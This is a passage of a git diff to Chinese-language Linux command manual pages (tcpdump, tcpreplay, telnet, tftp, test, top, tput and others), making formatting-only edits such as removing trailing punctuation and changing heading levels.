但是tail总是使用fstat系统调用,而不是stat系统调用;结果就是:默认情况下,当tail的文件被偷偷删除时,tail是不知道的,而tailf是知道的 -### 语法 +## 选项 ```bash -tailf logfile # 动态跟踪日志文件logfile,最初的时候打印文件的最后10行内容。 +tailf logfile # 动态跟踪日志文件logfile,最初的时候打印文件的最后10行内容 ``` @@ -29,9 +29,9 @@ tailf logfile # 动态跟踪日志文件logfile,最初的时候打印文件的 ### 参数 -目标:指定目标日志。 +目标:指定目标日志 -### 实例 +## 实例 ``` tailf log/WEB.LOG tailf -n 5 log2014.log # 显示文件最后5行内容 diff --git a/Linux_man_cn/talk.md b/Linux_man_cn/talk.md index 253a82e..0b75bc9 100644 --- a/Linux_man_cn/talk.md +++ b/Linux_man_cn/talk.md @@ -5,9 +5,9 @@ talk ## 说明 -**talk命令** 是talk服务器的客户端工具,通过talk命令可以让用户和其他用户聊天。linux中talk命令参数程序的使用很简单,只要知道交谈对象的地址,就可以邀请对方交谈。 +**talk命令** 是talk服务器的客户端工具,通过talk命令可以让用户和其他用户聊天。linux中talk命令参数程序的使用很简单,只要知道交谈对象的地址,就可以邀请对方交谈 -### 语法 +## 选项 ``` talk(参数) @@ -15,10 +15,10 @@ talk(参数) ### 参数 -* 用户:指定聊天的用户; -* 终端:指定用户的终端。 +* 用户:指定聊天的用户 +* 终端:指定用户的终端 -### 实例 +## 实例 例如登录在主机rs6000.cic.test.com上的用户jdx希望和登录在主机tirc.cs.test.com上的用户wangxz进行交谈,则可以输入下面的命令: @@ -40,7 +40,7 @@ talk: respond with: talk jdx@rs6000.cic.test.com talk jdx@rs6000.cic.test.com ``` -之后,连接建立成功,两个用户就可以进行交谈了。这时,双方的终端屏幕上都将显示信息 **[Connection established]** 并响铃,同时屏幕被linux中talk命令程序以一条水平线分割为上下两部分,上半部分用来显示用户自己输入的内容,下半部分用来显示对方输入的内容。两个用户可以同时输入,他们输入的内容将会立即显示在双方的屏幕上。 +之后,连接建立成功,两个用户就可以进行交谈了。这时,双方的终端屏幕上都将显示信息 **[Connection established]** 并响铃,同时屏幕被linux中talk命令程序以一条水平线分割为上下两部分,上半部分用来显示用户自己输入的内容,下半部分用来显示对方输入的内容。两个用户可以同时输入,他们输入的内容将会立即显示在双方的屏幕上 在用户进行输入时,可按 **BACKSPACE** 见来更正前一个字符,也可按 **CTRL+w** 来删除一个完整的单词,或者用 **CTRL+U** 来删除一整行,另外,用户还可以通过按 **CTRL+L** 来刷新屏幕。如果要结束交谈,可由任何一方按下 **CTRL+C** 来中断连接,但在结束对话前最好道声“再见”,并等待对方回应。linux中talk命令程序结束时,在屏幕上将回显示一条信息: @@ -66,7 +66,7 @@ talk jdx@rs6000.cic.test.com [Checking for invitation on caller’s machine] ``` -这说明双方的linux中talk命令程序不兼容,这时可以试试ntalk和ytalk命令,如果没有,就只好找系统管理员了。 +这说明双方的linux中talk命令程序不兼容,这时可以试试ntalk和ytalk命令,如果没有,就只好找系统管理员了 如果用户在做某些紧急工作(如编辑邮件)时不希望被linux中talk命令的邀请打搅,他可以使用命令: @@ -80,8 +80,8 @@ mesg n [Your party is refusing messages] ``` -不过要注意的是,一旦完成紧急工作。最好立即打开信息接收开关(用命令`mesg y`),否则将会失去很多信息交流的机会。 +不过要注意的是,一旦完成紧急工作。最好立即打开信息接收开关(用命令`mesg y`),否则将会失去很多信息交流的机会 -以上是linux中talk命令参数的是使用方法。 +以上是linux中talk命令参数的是使用方法 diff --git a/Linux_man_cn/tar.md b/Linux_man_cn/tar.md index 43bf228..de31fe6 100644 --- a/Linux_man_cn/tar.md +++ b/Linux_man_cn/tar.md @@ -287,7 +287,7 @@ tar -xf archive.tar # 展开归档文件 archive.tar中的所有文件 ## tar.gz格式 -方式一:利用前面已经打包好的tar文件,直接用压缩命令。 +方式一:利用前面已经打包好的tar文件,直接用压缩命令 压缩:gzip [原文件名].tar 解压:gunzip [原文件名].tar.gz @@ -337,7 +337,7 @@ Main-class: the_name_of_the_main_class_should_be_put_here 然后用如下命令打包: jar -cvfm [目标文件名].jar META-INF/MANIFEST.MF [原文件名/目录名] -这样以后就能用“java -jar [文件名].jar”命令直接运行主类中的public static void main方法了。 +这样以后就能用“java -jar [文件名].jar”命令直接运行主类中的public static void main方法了 ## 7z格式 diff --git a/Linux_man_cn/tcpdump.md b/Linux_man_cn/tcpdump.md index 0fc5c01..06d31cb 100644 --- a/Linux_man_cn/tcpdump.md +++ b/Linux_man_cn/tcpdump.md @@ -8,31 +8,31 @@ ## 选项 ```markdown --a:尝试将网络和广播地址转换成名称; --c<数据包数目>:收到指定的数据包数目后,就停止进行倾倒操作; --d:把编译过的数据包编码转换成可阅读的格式,并倾倒到标准输出; --dd:把编译过的数据包编码转换成C语言的格式,并倾倒到标准输出; --ddd:把编译过的数据包编码转换成十进制数字的格式,并倾倒到标准输出; --e:在每列倾倒资料上显示连接层级的文件头; --f:用数字显示网际网络地址; --F<表达文件>:指定内含表达方式的文件; --i<网络界面>:使用指定的网络截面送出数据包; --l:使用标准输出列的缓冲区; --n:不把主机的网络地址转换成名字; --N:不列出域名; --O:不将数据包编码最佳化; --p:不让网络界面进入混杂模式; --q :快速输出,仅列出少数的传输协议信息; --r<数据包文件>:从指定的文件读取数据包数据; --s<数据包大小>:设置每个数据包的大小; --S:用绝对而非相对数值列出TCP关联数; --t:在每列倾倒资料上不显示时间戳记; --tt: 在每列倾倒资料上显示未经格式化的时间戳记; --T<数据包类型>:强制将表达方式所指定的数据包转译成设置的数据包类型; --v:详细显示指令执行过程; --vv:更详细显示指令执行过程; --x:用十六进制字码列出数据包资料; --w<数据包文件>:把数据包数据写入指定的文件。 +-a:尝试将网络和广播地址转换成名称 +-c<数据包数目>:收到指定的数据包数目后,就停止进行倾倒操作 +-d:把编译过的数据包编码转换成可阅读的格式,并倾倒到标准输出 +-dd:把编译过的数据包编码转换成C语言的格式,并倾倒到标准输出 +-ddd:把编译过的数据包编码转换成十进制数字的格式,并倾倒到标准输出 +-e:在每列倾倒资料上显示连接层级的文件头 +-f:用数字显示网际网络地址 +-F<表达文件>:指定内含表达方式的文件 +-i<网络界面>:使用指定的网络截面送出数据包 +-l:使用标准输出列的缓冲区 +-n:不把主机的网络地址转换成名字 +-N:不列出域名 +-O:不将数据包编码最佳化 +-p:不让网络界面进入混杂模式 +-q :快速输出,仅列出少数的传输协议信息 +-r<数据包文件>:从指定的文件读取数据包数据 +-s<数据包大小>:设置每个数据包的大小 +-S:用绝对而非相对数值列出TCP关联数 +-t:在每列倾倒资料上不显示时间戳记 +-tt: 在每列倾倒资料上显示未经格式化的时间戳记 +-T<数据包类型>:强制将表达方式所指定的数据包转译成设置的数据包类型 +-v:详细显示指令执行过程 +-vv:更详细显示指令执行过程 +-x:用十六进制字码列出数据包资料 +-w<数据包文件>:把数据包数据写入指定的文件 ``` ## 实例 diff --git a/Linux_man_cn/tcpreplay.md b/Linux_man_cn/tcpreplay.md index e262d12..f366e8a 100644 --- a/Linux_man_cn/tcpreplay.md +++ b/Linux_man_cn/tcpreplay.md @@ -5,50 +5,50 @@ tcpreplay ## 说明 -简单的说, **tcpreplay** 是一种pcap包的重放工具,它可以将用ethreal、wireshark工具抓下来的包原样或经过任意修改后重放回去。它允许你对报文做任意的修改(主要是指对2层、3层、4层报文头),指定重放报文的速度等,这样tcpreplay就可以用来复现抓包的情景以定位bug,以极快的速度重放从而实现压力测试。 +简单的说, **tcpreplay** 是一种pcap包的重放工具,它可以将用ethreal、wireshark工具抓下来的包原样或经过任意修改后重放回去。它允许你对报文做任意的修改(主要是指对2层、3层、4层报文头),指定重放报文的速度等,这样tcpreplay就可以用来复现抓包的情景以定位bug,以极快的速度重放从而实现压力测试 ``` --A "" 在使用 tcpdump 风格打印输出信息时,同时再调用tcpdump中的参数, 默认已经带有“-n,-l”,所以一般看到的都是ip地址,而没有主机名的打印,注意这个是在tcpreplay使用了-v参数时才能使用,不带-v不会报错,但是没有实际意义。格式:-vA “nnt”表示以tcpdump风格输出报文信息,并且不打印时间戳、主机名、端口服务名称。注意不要使用-c参数来指定打印的数据报文的个数,这样发送出去的报文也会变少。 +-A "" 在使用 tcpdump 风格打印输出信息时,同时再调用tcpdump中的参数, 默认已经带有“-n,-l”,所以一般看到的都是ip地址,而没有主机名的打印,注意这个是在tcpreplay使用了-v参数时才能使用,不带-v不会报错,但是没有实际意义。格式:-vA “nnt”表示以tcpdump风格输出报文信息,并且不打印时间戳、主机名、端口服务名称。注意不要使用-c参数来指定打印的数据报文的个数,这样发送出去的报文也会变少 -c 双网卡回放报文必选参数,后面紧跟cache文件名,该文件为tcpprep根据对应的pcap文件构造出来。 -D 把应用层的数据,使用dump mode写入到指定文件中去,和-w、-W 参数一起使用。 -e 指定端点的ip,即把发送报文的和接收的报文的ip都修改称对应的参数值中指定的ip,但是这样发送的出的报文不会区分client和server。。 --f 指定配置文件。 --F 在发送报文时,自动纠正错误的校验和。对测试DUT的校验和检验。 +-f 指定配置文件 +-F 在发送报文时,自动纠正错误的校验和。对测试DUT的校验和检验 -h 显示帮助文件。 --i 双网卡回放报文必选参数,指定主接口。 +-i 双网卡回放报文必选参数,指定主接口 -I 重写主网卡发送出报文的目的MAC地址。 --j 双网卡回放报文必选参数,指定从接口。 +-j 双网卡回放报文必选参数,指定从接口 -J 重写从网卡发送出报文的目的MAC地址。 -k 重写主网卡发送报文的源MAC地址。 --K 重写从网卡发送报文的源MAC地址。 --l 指定循环的次数。 +-K 重写从网卡发送报文的源MAC地址 +-l 指定循环的次数 -L 指定最大的发包数量。可以在确认连接的调试时使用。 --m 指定一个倍数值,就是必默认发送速率要快多少倍的速率发送报文。 加大发送的速率后,对于DUT可能意味着有更多的并发连接和连接数,特别是对于BT报文的重放, 因为连接的超时是固定的,如果速率增大的话, 留在session表中的连接数量增大,还可以通过修改连接的超时时间来达到该目的。 --M 表示不发送“火星”的ip报文,man文件中的定义是 0/8、172/8、 255/8。 --n 在使用-S参数,不对混杂模式进行侦听。 --N 通过伪造的NAT,重写IP地址。这个参数应该有很重要的应用,目前没有测试使用。 --O 没有测试使用。 --p 指定每秒发送报文的个数,指定该参数,其它速率相关的参数被忽略,最后的打印信息不会有速率和每秒发送报文的统计。 --P 表示在输出信息中打印PID的信息,用于单用户或单帐户模式下暂停和重启程序。 --r 指定发送的速率。目前-m/-r/-p这3个参数的相互关系。 +-m 指定一个倍数值,就是必默认发送速率要快多少倍的速率发送报文。 加大发送的速率后,对于DUT可能意味着有更多的并发连接和连接数,特别是对于BT报文的重放, 因为连接的超时是固定的,如果速率增大的话, 留在session表中的连接数量增大,还可以通过修改连接的超时时间来达到该目的 +-M 表示不发送“火星”的ip报文,man文件中的定义是 0/8、172/8、 255/8 +-n 在使用-S参数,不对混杂模式进行侦听 +-N 通过伪造的NAT,重写IP地址。这个参数应该有很重要的应用,目前没有测试使用 +-O 没有测试使用 +-p 指定每秒发送报文的个数,指定该参数,其它速率相关的参数被忽略,最后的打印信息不会有速率和每秒发送报文的统计 +-P 表示在输出信息中打印PID的信息,用于单用户或单帐户模式下暂停和重启程序 +-r 指定发送的速率。目前-m/-r/-p这3个参数的相互关系 -R 让网卡极限速度发数据包。 -t 指定MTU,标准的10/100M网卡的默认值是1500。 --T Truncate packets > 截去报文中MTU大于标准值的部分再发送出去,默认是不发送,skip掉。 --v 每发送一个报文都以 tcpdump 的风格打印出对应的信息。 --V 查看版本号。 --w 将主网卡发送的报文写入一个文件中,参数后紧跟文件名。 +-T Truncate packets > 截去报文中MTU大于标准值的部分再发送出去,默认是不发送,skip掉 +-v 每发送一个报文都以 tcpdump 的风格打印出对应的信息 +-V 查看版本号 +-w 将主网卡发送的报文写入一个文件中,参数后紧跟文件名 ``` -### 实例 +## 实例 **1、重放在客户端 ftp 连接的报文 ** -a、在客户端使用 ethereal 抓包,存为 ftp.pcap 文件。 +a、在客户端使用 ethereal 抓包,存为 ftp.pcap 文件 -b、 将 ftp.pcap 文件进行 tcpprep 操作,制作 cache 文件。 +b、 将 ftp.pcap 文件进行 tcpprep 操作,制作 cache 文件 ``` [root@A ~]# tcpprep -an client -i ftp.pcap -o ftp.cache –v @@ -66,7 +66,7 @@ c、 将 DUT 设备的两个接口和 PC 的两个接口使用网线连接,使 a、在实验室 BT 下载一些台湾的娱乐节目和热门的大片,使用 ethereal 抓包, 存为 bt.pcap 文件。注意 pcap 文件大小的控制,对 pc 的内存要求比较高,我保 存了一个 600 多 M 的 pcap 文件用了 40 多分钟,大家有需要可以直接从实验室 copy。  -b、将 bt.pcap 文件进行 tcpprep 操作,制作 cache 文件。 +b、将 bt.pcap 文件进行 tcpprep 操作,制作 cache 文件 ``` [root@A ~]# tcpprep -an client -i bt.pcap -o bt.cache -C "100M BT Packet" –v diff --git a/Linux_man_cn/tee.md b/Linux_man_cn/tee.md index be23e2c..ef9810a 100644 --- a/Linux_man_cn/tee.md +++ b/Linux_man_cn/tee.md @@ -5,13 +5,13 @@ tee ## 说明 -**tee命令** 用于将数据重定向到文件,另一方面还可以提供一份重定向数据的副本作为后续命令的stdin。简单的说就是把数据重定向到给定文件和屏幕上。 +**tee命令** 用于将数据重定向到文件,另一方面还可以提供一份重定向数据的副本作为后续命令的stdin。简单的说就是把数据重定向到给定文件和屏幕上 ! -存在缓存机制,每1024个字节将输出一次。若从管道接收输入数据,应该是缓冲区满,才将数据转存到指定的文件中。若文件内容不到1024个字节,则接收完从标准输入设备读入的数据后,将刷新一次缓冲区,并转存数据到指定文件。 +存在缓存机制,每1024个字节将输出一次。若从管道接收输入数据,应该是缓冲区满,才将数据转存到指定的文件中。若文件内容不到1024个字节,则接收完从标准输入设备读入的数据后,将刷新一次缓冲区,并转存数据到指定文件 -### 语法 +## 选项 ``` tee(选项)(参数) @@ -20,13 +20,13 @@ tee(选项)(参数) ``` --a:向文件中重定向时使用追加模式; --i:忽略中断(interrupt)信号。 +-a:向文件中重定向时使用追加模式 +-i:忽略中断(interrupt)信号 ``` ### 参数 -文件:指定输出重定向的文件。 +文件:指定输出重定向的文件 在终端打印stdout同时重定向到文件中: diff --git a/Linux_man_cn/telint.md b/Linux_man_cn/telint.md index 8c512f4..18e664c 100644 --- a/Linux_man_cn/telint.md +++ b/Linux_man_cn/telint.md @@ -5,9 +5,9 @@ telint ## 说明 -**telint命令** 用于切换当前正在运行的Linux系统的运行等级。 +**telint命令** 用于切换当前正在运行的Linux系统的运行等级 -### 语法 +## 选项 ``` telint(选项)(参数) @@ -16,11 +16,11 @@ telint(选项)(参数) ``` --t:指定等待的秒数。 +-t:指定等待的秒数 ``` ### 参数 -运行等级:指定要切换的运行等级。 +运行等级:指定要切换的运行等级 diff --git a/Linux_man_cn/telnet.md b/Linux_man_cn/telnet.md index ecc5be3..1c31c74 100644 --- a/Linux_man_cn/telnet.md +++ b/Linux_man_cn/telnet.md @@ -5,9 +5,9 @@ telnet ## 说明 -**telnet命令** 用于登录远程主机,对远程主机进行管理。telnet因为采用明文传送报文,安全性不好,很多Linux服务器都不开放telnet服务,而改用更安全的ssh方式了。但仍然有很多别的系统可能采用了telnet方式来提供远程登录,因此弄清楚telnet客户端的使用方式仍是很有必要的。 +**telnet命令** 用于登录远程主机,对远程主机进行管理。telnet因为采用明文传送报文,安全性不好,很多Linux服务器都不开放telnet服务,而改用更安全的ssh方式了。但仍然有很多别的系统可能采用了telnet方式来提供远程登录,因此弄清楚telnet客户端的使用方式仍是很有必要的 -### 语法 +## 选项 ``` telnet(选项)(参数) @@ -16,32 +16,32 @@ telnet(选项)(参数) ``` --8:允许使用8位字符资料,包括输入与输出; --a:尝试自动登入远端系统; --b<主机别名>:使用别名指定远端主机名称; --c:不读取用户专属目录里的.telnetrc文件; --d:启动排错模式; --e<脱离字符>:设置脱离字符; --E:滤除脱离字符; --f:此参数的效果和指定"-F"参数相同; --F:使用Kerberos V5认证时,加上此参数可把本地主机的认证数据上传到远端主机; --k<域名>:使用Kerberos认证时,加上此参数让远端主机采用指定的领域名,而非该主机的域名; --K:不自动登入远端主机; --l<用户名称>:指定要登入远端主机的用户名称; --L:允许输出8位字符资料; --n<记录文件>:指定文件记录相关信息; --r:使用类似rlogin指令的用户界面; --S<服务类型>:设置telnet连线所需的ip TOS信息; --x:假设主机有支持数据加密的功能,就使用它; --X<认证形态>:关闭指定的认证形态。 +-8:允许使用8位字符资料,包括输入与输出 +-a:尝试自动登入远端系统 +-b<主机别名>:使用别名指定远端主机名称 +-c:不读取用户专属目录里的.telnetrc文件 +-d:启动排错模式 +-e<脱离字符>:设置脱离字符 +-E:滤除脱离字符 +-f:此参数的效果和指定"-F"参数相同 +-F:使用Kerberos V5认证时,加上此参数可把本地主机的认证数据上传到远端主机 +-k<域名>:使用Kerberos认证时,加上此参数让远端主机采用指定的领域名,而非该主机的域名 +-K:不自动登入远端主机 +-l<用户名称>:指定要登入远端主机的用户名称 +-L:允许输出8位字符资料 +-n<记录文件>:指定文件记录相关信息 +-r:使用类似rlogin指令的用户界面 +-S<服务类型>:设置telnet连线所需的ip TOS信息 +-x:假设主机有支持数据加密的功能,就使用它 +-X<认证形态>:关闭指定的认证形态 ``` ### 参数 -* 远程主机:指定要登录进行管理的远程主机; -* 端口:指定TELNET协议使用的端口号。 +* 远程主机:指定要登录进行管理的远程主机 +* 端口:指定TELNET协议使用的端口号 -### 实例 +## 实例 ``` $ telnet 192.168.2.10 @@ -56,7 +56,7 @@ Password: Login incorrect ``` -一般情况下不允许root从远程登录,可以先用普通账号登录,然后再用su -切到root用户。 +一般情况下不允许root从远程登录,可以先用普通账号登录,然后再用su -切到root用户 ``` $ telnet 192.168.188.132 diff --git a/Linux_man_cn/tempfile.md b/Linux_man_cn/tempfile.md index 804321a..c61bfc5 100644 --- a/Linux_man_cn/tempfile.md +++ b/Linux_man_cn/tempfile.md @@ -5,11 +5,11 @@ shell中给临时文件命名 ## 说明 -有时候在写Shell脚本的时候需要一些临时存储数据的才做,最适合存储临时文件数据的位置就是`/tmp`,因为该目录中所有的内容在系统重启后就会被清空。下面是两种方法为临时数据生成标准的文件名。 +有时候在写Shell脚本的时候需要一些临时存储数据的才做,最适合存储临时文件数据的位置就是`/tmp`,因为该目录中所有的内容在系统重启后就会被清空。下面是两种方法为临时数据生成标准的文件名 ### tempfile命令 -`tempfile命令`只有在基于Debian的发行版中才默认自带,比如Ubuntu,其他发行版没有这个命令。 +`tempfile命令`只有在基于Debian的发行版中才默认自带,比如Ubuntu,其他发行版没有这个命令 用tempfile命令为一个临时文件命名: @@ -23,7 +23,7 @@ temp_file_name=$(tempfile) temp_file_name="/tmp/file_$RANDOM" ``` -$RANDOM是一个返回随机数的环境变量。 +$RANDOM是一个返回随机数的环境变量 ### $$变量 @@ -33,6 +33,6 @@ $RANDOM是一个返回随机数的环境变量。 temp_file_name="/tmp/file.$" ``` -`$$`是系统预定义变量,显示当前所在进程的进程号,用`.$$`作为添加的后缀会被扩展成当前运行脚本的进程id。 +`$$`是系统预定义变量,显示当前所在进程的进程号,用`.$$`作为添加的后缀会被扩展成当前运行脚本的进程id diff --git a/Linux_man_cn/test.md b/Linux_man_cn/test.md index a6cce28..65aaf01 100644 --- a/Linux_man_cn/test.md +++ b/Linux_man_cn/test.md @@ -5,9 +5,9 @@ shell环境中测试条件表达式工具 ## 说明 -**test命令** 是shell环境中测试条件表达式的实用工具。 +**test命令** 是shell环境中测试条件表达式的实用工具 -### 语法 +## 选项 ``` test(选项) @@ -16,25 +16,25 @@ test(选项) ``` --b<文件>:如果文件为一个块特殊文件,则为真; --c<文件>:如果文件为一个字符特殊文件,则为真; --d<文件>:如果文件为一个目录,则为真; --e<文件>:如果文件存在,则为真; --f<文件>:如果文件为一个普通文件,则为真; --g<文件>:如果设置了文件的SGID位,则为真; --G<文件>:如果文件存在且归该组所有,则为真; --k<文件>:如果设置了文件的粘着位,则为真; --O<文件>:如果文件存在并且归该用户所有,则为真; --p<文件>:如果文件为一个命名管道,则为真; --r<文件>:如果文件可读,则为真; --s<文件>:如果文件的长度不为零,则为真; --S<文件>:如果文件为一个套接字特殊文件,则为真; --u<文件>:如果设置了文件的SUID位,则为真; --w<文件>:如果文件可写,则为真; --x<文件>:如果文件可执行,则为真。 +-b<文件>:如果文件为一个块特殊文件,则为真 +-c<文件>:如果文件为一个字符特殊文件,则为真 +-d<文件>:如果文件为一个目录,则为真 +-e<文件>:如果文件存在,则为真 +-f<文件>:如果文件为一个普通文件,则为真 +-g<文件>:如果设置了文件的SGID位,则为真 +-G<文件>:如果文件存在且归该组所有,则为真 +-k<文件>:如果设置了文件的粘着位,则为真 +-O<文件>:如果文件存在并且归该用户所有,则为真 +-p<文件>:如果文件为一个命名管道,则为真 +-r<文件>:如果文件可读,则为真 +-s<文件>:如果文件的长度不为零,则为真 +-S<文件>:如果文件为一个套接字特殊文件,则为真 +-u<文件>:如果设置了文件的SUID位,则为真 +-w<文件>:如果文件可写,则为真 +-x<文件>:如果文件可执行,则为真 ``` -### 实例 +## 实例 linux中shell编程中的test常见用法: @@ -71,7 +71,7 @@ test 整数1 -ne 整数2 #整数1不等于整数2 **判断文件** ``` -test File1 –ef File2 两个文件是否为同一个文件,可用于硬连接。主要判断两个文件是否指向同一个inode。 +test File1 –ef File2 两个文件是否为同一个文件,可用于硬连接。主要判断两个文件是否指向同一个inode test File1 –nt File2 判断文件1是否比文件2新 test File1 –ot File2 判断文件1比是否文件2旧 test –b file #文件是否块设备文件 diff --git a/Linux_man_cn/tftp.md b/Linux_man_cn/tftp.md index 614ca45..18a41ca 100644 --- a/Linux_man_cn/tftp.md +++ b/Linux_man_cn/tftp.md @@ -5,11 +5,11 @@ tftp ## 说明 -**tftp命令** 用在本机和tftp服务器之间使用TFTP协议传输文件。 +**tftp命令** 用在本机和tftp服务器之间使用TFTP协议传输文件 -TFTP是用来下载远程文件的最简单网络协议,它其于UDP协议而实现。嵌入式linux的tftp开发环境包括两个方面:一是linux服务器端的tftp-server支持,二是嵌入式目标系统的tftp-client支持。因为u-boot本身内置支持tftp-client,所以嵌入式目标系统端就不用配置了。下面就详细介绍一下linux服务器端tftp-server的配置。 +TFTP是用来下载远程文件的最简单网络协议,它其于UDP协议而实现。嵌入式linux的tftp开发环境包括两个方面:一是linux服务器端的tftp-server支持,二是嵌入式目标系统的tftp-client支持。因为u-boot本身内置支持tftp-client,所以嵌入式目标系统端就不用配置了。下面就详细介绍一下linux服务器端tftp-server的配置 -### 语法 +## 选项 ``` tftp(选项)(参数) @@ -18,17 +18,17 @@ tftp(选项)(参数) ``` --c:指定与tftp服务器连接成功后,立即要执行的指令; --m:指定文件传输模式。可以是ASCII或者Binary; --v:显示指令详细执行过程; --V:显示指令版本信息。 +-c:指定与tftp服务器连接成功后,立即要执行的指令 +-m:指定文件传输模式。可以是ASCII或者Binary +-v:显示指令详细执行过程 +-V:显示指令版本信息 ``` ### 参数 -主机:指定tftp要联机的tftp服务器的ip地址或主机名。 +主机:指定tftp要联机的tftp服务器的ip地址或主机名 -### 实例 +## 实例 **1、安装tftp服务器** @@ -70,7 +70,7 @@ service tftp } ``` -说明:修改项`server_args= -s -c`,其中处可以改为你的tftp-server的根目录,参数-s指定chroot,-c指定了可以创建文件。 +说明:修改项`server_args= -s -c`,其中处可以改为你的tftp-server的根目录,参数-s指定chroot,-c指定了可以创建文件 **3、启动tftp服务器并关闭防火墙** @@ -90,11 +90,11 @@ service xinetd restart netstat -a | grep tftp ``` -显示结果为`udp 0 0 *:tftp *:*`表明服务已经开启,就表明tftp配置成功了。 +显示结果为`udp 0 0 *:tftp *:*`表明服务已经开启,就表明tftp配置成功了 **5、tftp使用** -复制一个文件到tftp服务器目录,然后在主机启动tftp软件,进行简单测试。 +复制一个文件到tftp服务器目录,然后在主机启动tftp软件,进行简单测试 ``` tftp 192.168.1.2 @@ -129,7 +129,7 @@ tftp your-ip-address **7、如果老是出现“AVC Denial, click icon to view”的错误,并不能传输文件,需要作如下修改** -修改`/etc/sysconfig/selinux`,将SELINUX设定为disable,使用命令`setenforce 0`让selinux配置文件生效。 +修改`/etc/sysconfig/selinux`,将SELINUX设定为disable,使用命令`setenforce 0`让selinux配置文件生效 **8、Busybox中tftp命令的用法** @@ -139,7 +139,7 @@ tftp your-ip-address tftp [option] ... host [port] ``` -如果要下载或上传文件的话是一定要用这些option的。 +如果要下载或上传文件的话是一定要用这些option的 ``` -g 表示下载文件 (get) diff --git a/Linux_man_cn/time.md b/Linux_man_cn/time.md index 5097574..c4db1dd 100644 --- a/Linux_man_cn/time.md +++ b/Linux_man_cn/time.md @@ -11,12 +11,12 @@ sys 0m0.007s 输出的信息分别显示了该命令所花费的real时间、user时间和sys时间 -1:real时间是指挂钟时间,也就是命令开始执行到结束的时间。这个短时间包括其他进程所占用的时间片,和进程被阻塞时所花费的时间。 -2:user时间是指进程花费在用户模式中的CPU时间,这是唯一真正用于执行进程所花费的时间,其他进程和花费阻塞状态中的时间没有计算在内。 -3:sys时间是指花费在内核模式中的CPU时间,代表在内核中执系统调用所花费的时间,这也是真正由进程使用的CPU时间。 +1:real时间是指挂钟时间,也就是命令开始执行到结束的时间。这个短时间包括其他进程所占用的时间片,和进程被阻塞时所花费的时间 +2:user时间是指进程花费在用户模式中的CPU时间,这是唯一真正用于执行进程所花费的时间,其他进程和花费阻塞状态中的时间没有计算在内 +3:sys时间是指花费在内核模式中的CPU时间,代表在内核中执系统调用所花费的时间,这也是真正由进程使用的CPU时间 ``` -shell内建也有一个time命令,当运行time时候是调用的系统内建命令,应为系统内建的功能有限,所以需要时间其他功能需要使用time命令可执行二进制文件`/usr/bin/time`。 +shell内建也有一个time命令,当运行time时候是调用的系统内建命令,应为系统内建的功能有限,所以需要时间其他功能需要使用time命令可执行二进制文件`/usr/bin/time` ```sh /usr/bin/time -o outfile.txt ls # 使用`-o`选项将执行时间写入到文件中 diff --git a/Linux_man_cn/tload.md b/Linux_man_cn/tload.md index 2770031..c3b35aa 100644 --- a/Linux_man_cn/tload.md +++ b/Linux_man_cn/tload.md @@ -5,9 +5,9 @@ tload ## 说明 -**tload命令** 以图形化的方式输出当前系统的平均负载到指定的终端。假设不给予终端机编号,则会在执行tload指令的终端机显示负载情形。 +**tload命令** 以图形化的方式输出当前系统的平均负载到指定的终端。假设不给予终端机编号,则会在执行tload指令的终端机显示负载情形 -### 语法 +## 选项 ``` tload(选项)(参数) @@ -16,15 +16,15 @@ tload(选项)(参数) ``` --s:指定闲时的刻度; --d:指定间隔的时间(秒)。 +-s:指定闲时的刻度 +-d:指定间隔的时间(秒) ``` ### 参数 -终端:指定显示信息的终端设备文件。 +终端:指定显示信息的终端设备文件 -### 实例 +## 实例 使用tload命令查看系统负载情况: diff --git a/Linux_man_cn/top.md b/Linux_man_cn/top.md index 7236b36..16c0d85 100644 --- a/Linux_man_cn/top.md +++ b/Linux_man_cn/top.md @@ -76,7 +76,7 @@ Cpu(s): Linux使用nice值来确定进程的优先级,显示在各项任务上 0.0 wa, IO-wait 等待输入输出(I/O)的CPU时间百分比--(time waiting for I/O completion) 0.0 hi 处理硬件中断所花费时间的百分比--(time spent servicing hardware interrupts) 0.0 si 处理软件中断所花费时间的百分比--(time spent servicing software interrupts) -0.0 st 虚拟化环境中,部分CPU资源提供给虚拟机,操作系统检测是否有任务执行,但由于忙于其他VM,因此无法执行他们, +0.0 st 虚拟化环境中,部分CPU资源提供给虚拟机,操作系统检测是否有任务执行,但由于忙于其他VM,因此无法执行他们 以此方损失的时间占用的百分比叫st--(time stolen from this vm by the hypervisor) Mem: 4147888k total 物理内存总量 diff --git a/Linux_man_cn/tput.md b/Linux_man_cn/tput.md index f4118f3..f1b0519 100644 --- a/Linux_man_cn/tput.md +++ b/Linux_man_cn/tput.md @@ -5,17 +5,17 @@ tput ## 说明 -**tput命令** 将通过 terminfo 数据库对您的终端会话进行初始化和操作。通过使用 tput,您可以更改几项终端功能,如移动或更改光标、更改文本属性,以及清除终端屏幕的特定区域。 +**tput命令** 将通过 terminfo 数据库对您的终端会话进行初始化和操作。通过使用 tput,您可以更改几项终端功能,如移动或更改光标、更改文本属性,以及清除终端屏幕的特定区域 ### 什么是 terminfo 数据库? -UNIX 系统上的 terminfo 数据库用于定义终端和打印机的属性及功能,包括各设备(例如,终端和打印机)的行数和列数以及要发送至该设备的文本的属性。UNIX 中的几个常用程序都依赖 terminfo 数据库提供这些属性以及许多其他内容,其中包括 vi 和 emacs 编辑器以及 curses 和 man 程序。 +UNIX 系统上的 terminfo 数据库用于定义终端和打印机的属性及功能,包括各设备(例如,终端和打印机)的行数和列数以及要发送至该设备的文本的属性。UNIX 中的几个常用程序都依赖 terminfo 数据库提供这些属性以及许多其他内容,其中包括 vi 和 emacs 编辑器以及 curses 和 man 程序 -与 UNIX 中的大多数命令一样,tput 命令既可以用在 shell 命令行中也可以用在 shell 脚本中。为让您更好地理解 tput,本文首先从命令行讲起,然后紧接着讲述 shell 脚本示例。 +与 UNIX 中的大多数命令一样,tput 命令既可以用在 shell 命令行中也可以用在 shell 脚本中。为让您更好地理解 tput,本文首先从命令行讲起,然后紧接着讲述 shell 脚本示例 **光标属性** -在 UNIX shell 脚本中或在命令行中,移动光标或更改光标属性可能是非常有用的。有些情况下,您可能需要输入敏感信息(如密码),或在屏幕上两个不同的区域输入信息。在此类情况下,使用 tput 可能会对您有所帮助。 +在 UNIX shell 脚本中或在命令行中,移动光标或更改光标属性可能是非常有用的。有些情况下,您可能需要输入敏感信息(如密码),或在屏幕上两个不同的区域输入信息。在此类情况下,使用 tput 可能会对您有所帮助 ``` tput clear # 清屏 @@ -29,9 +29,9 @@ exit 0 **移动光标** -使用 tput 可以方便地实现在各设备上移动光标的位置。通过在 tput 中使用 cup 